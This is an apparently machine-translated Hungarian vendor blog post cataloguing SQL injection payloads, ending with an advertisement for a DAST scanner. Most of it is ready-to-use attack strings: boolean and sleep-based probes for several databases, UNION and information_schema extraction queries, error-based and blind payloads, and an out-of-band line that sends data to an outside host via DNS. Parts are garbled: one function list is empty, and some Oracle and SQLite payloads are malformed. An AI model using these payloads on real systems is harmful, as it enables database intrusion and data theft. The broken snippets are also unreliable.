SQL Injection hasznos terhelések: hogyan sqli hasznosítja munka
mi az SQL Injection hasznos teher?
az SQL Injection egy webes biztonsági rést jelent, amely lehetővé teszi a támadók számára, hogy olyan adatokat tekintsenek meg, amelyekre nem lenne szabad, mivel lehetővé teszi a támadó számára, hogy rosszindulatú SQL injection hasznos terhelések befecskendezésével zavarja az alkalmazás által az adatbázisába küldött lekérdezéseket.
Tudjon meg többet az SQL Injection támadásokról ebben a blogbejegyzésben – mik az SQL Injection és hogyan lehet megakadályozni őket
ebben a blogbejegyzésben bemutatjuk, hogyan lehet ellenőrizni, hogy egy webhely sebezhető-e az SQLi-vel és a különböző SQL injection hasznos terhelésekkel, amelyeket különböző típusú SQL injection sebezhetőségek kihasználására használnak.
ebben a cikkben:
megerősítve SQLi: Belépési pont észlelése
annak megállapításához, hogy az alkalmazások sérülékenyek-e az SQLi-vel szemben, és használhatja-e a következő hasznos terheléseket, először be kell tudnia fecskendezni az adatokat a lekérdezésbe anélkül, hogy megszakítaná azokat. Az első lépés annak kiderítése, hogyan lehet elmenekülni a jelenlegi kontextusból.
próbálja ki az alábbi hasznos példák egyikét:
'
"
`
')
")
`)
'))
"))
`))
a lekérdezés javításához bevihet adatokat, hogy az előző lekérdezés elfogadja az új adatokat, vagy bevihet adatokat, és a végén hozzáadhat egy megjegyzés szimbólumot.
ez a szakasz könnyebb lesz, ha hibaüzeneteket lát, vagy azonosíthatja, hogy egy lekérdezés működik-e vagy sem.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
az SQLi megerősítése logikai műveletekkel
az SQL-injekció biztonsági rését logikai művelet végrehajtásával erősítheti meg. Ha megkapja a várt eredményt, megerősítette az SQLi-t.
így néz ki a gyakorlatban:
ha a ?username=John
GET paraméter ugyanazt a tartalmat adja vissza, mint a ?username=John'
vagy a '1'='1
, akkor talált egy SQL injection biztonsági rést.
ez a koncepció matematikai műveletekre is működik:
ha a ?id=1
ugyanazt adja eredményül, mint a ?id=2-1
, akkor SQL-befecskendezési biztonsági rést talált.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
az SQL-befecskendezés megerősítése
időzítéssel bizonyos esetekben, amikor megpróbálja megerősíteni az SQLi-t, nem lesz észrevehető változás a tesztelt oldalon. Ez egy vak SQL-t jelez, amelyet úgy lehet azonosítani, hogy az adatbázis olyan műveleteket hajt végre, amelyek hatással lesznek az oldal betöltésének idejére.
hozzá fogunk adni az SQL lekérdezéshez egy olyan műveletet, amelynek végrehajtása hosszabb időt vesz igénybe, például a következőket:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
az alvó funkciók nem mindig engedélyezettek, ezért készítsen egy lekérdezést összetett műveletek végrehajtására, amelyek helyett néhány másodpercet vesz igénybe.
a Back-end azonosítása
a különböző backendek különböző funkciókkal rendelkeznek, amelyek azonosíthatók e funkciók végrehajtásával. Példák ezekre a funkciókra:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Union alapú SQL Injection hasznos terhelések
oszlopok számának észlelése
mindkét lekérdezésnek (az eredeti és az általunk módosított lekérdezésnek) ugyanannyi oszlopot kell visszaadnia. De honnan tudjuk, hogy hány oszlopot ad vissza az eredeti kérés? Az oszlopok számának megszerzéséhez általában a következő két módszer egyikét használjuk:
sorrend/csoport
annak ellenére, hogy a GROUP BY
és a ORDER BY
különböző funkciókkal rendelkezik az SQL-ben, mindkettő felhasználható a lekérdezés oszlopainak számának meghatározására. Növelje a számot, amíg hamis választ nem kap:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
UNION SELECT esetén a lekérdezés érvényességéig egyre több null értéket kell beszúrni:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
miért használják a null értékeket? Vannak esetek, amikor a lekérdezés mindkét oldalán lévő oszlopok típusának azonosnak kell lennie. A Null minden esetben érvényes.
adatbázisnevek, táblák és oszlopnevek kibontása
a következő példákban az összes adatbázis nevét, a táblázatneveket egy adatbázisból és a táblázat oszlopneveit fogjuk lekérni:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
az adatok felfedezéséhez használt módszer eltér az adatbázistól, de mindig ugyanaz a módszertan.
Error based SQL Injection Payloads
ha a lekérdezés kimenete nem látható, de láthatja a hibaüzeneteket, akkor ezek a hibaüzenetek működhetnek az adatok kiszűrése érdekében az adatbázisból.
az Unió alapú kizsákmányolási példához hasonlóan kiírhatja az adatbázist:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
vak SQL Injection hasznos terhelések
vak SQL injection esetén nem láthatja a lekérdezés eredményeit vagy a hibákat, de megkülönböztetheti, hogy a lekérdezés igaz vagy hamis választ adott-e az oldal különböző tartalma alapján.
visszaélhet ezzel a viselkedéssel, hogy az adatbázist char-ról char-ra dobja:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
hiba vak SQL Injection hasznos terhelések
ahogy a neve is mutatja, ez nagyon hasonlít a vak SQL injection-hez, de ezúttal nem kell különbséget tennie az igaz vagy a hamis válasz között. Ellenőrizze, hogy van-e hiba az SQL lekérdezésben, vagy sem, SQL hibát kényszerítve minden alkalommal, amikor helyesen kitalálja a karaktert:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
időalapú SQL Injection hasznos terhelések
ezt a technikát elsősorban akkor használhatja, ha vak sebezhetőségeket kíván kihasználni, amikor egy második lekérdezéssel DNS-keresést, feltételes hibát vagy késleltetést indít.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
halmozott lekérdezések
a halmozott lekérdezések felhasználhatók több lekérdezés egymás utáni végrehajtására. A következő lekérdezések végrehajtása közben az eredmények nem kerülnek vissza az alkalmazásba. Ezt a technikát akkor használhatja, ha vak sebezhetőségeket használ, ahol egy második lekérdezést használ DNS-keresés, feltételes hiba vagy késleltetés indításához.
míg az Oracle és a MySQL nem támogatja a halmozott lekérdezéseket, a Microsoft és a PostgreSQL támogatja őket: QUERY-1-HERE; QUERY-2-HERE
sávon kívüli Sqli hasznos terhelések
ha a fent említett hasznosítási módszerek egyike sem működött az Ön számára, megpróbálhatja az adatbázist az Ön által ellenőrzött külső gazdagépre szűrni. Használhat például DNS-lekérdezéseket:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Detect SQL Injection segítségével Nexploit
NeuraLegion a Nexploit automatizálja a felismerés és kármentesítés több száz biztonsági rések, beleértve az SQL injection.
a Dast-vizsgálatok már a fejlesztési folyamat korai szakaszában történő integrálásával a fejlesztők és az alkalmazásbiztonsági szakértők Korán felismerhetik a biztonsági réseket, és kijavíthatják azokat, mielőtt azok megjelennek a gyártásban.
a Nexploit segítségével a vizsgálatok percek alatt elkészülnek, és az eredmények nulla hamis pozitív eredményt mutatnak. Ez lehetővé teszi a fejlesztők számára, hogy elfogadják a megoldást, és használják azt a fejlesztési életciklus során.
bármely webalkalmazás vagy API vizsgálata az SQL injekciós sebezhetőségek megelőzése érdekében – próbálja ki a NeuraLegion Nexploit free alkalmazást.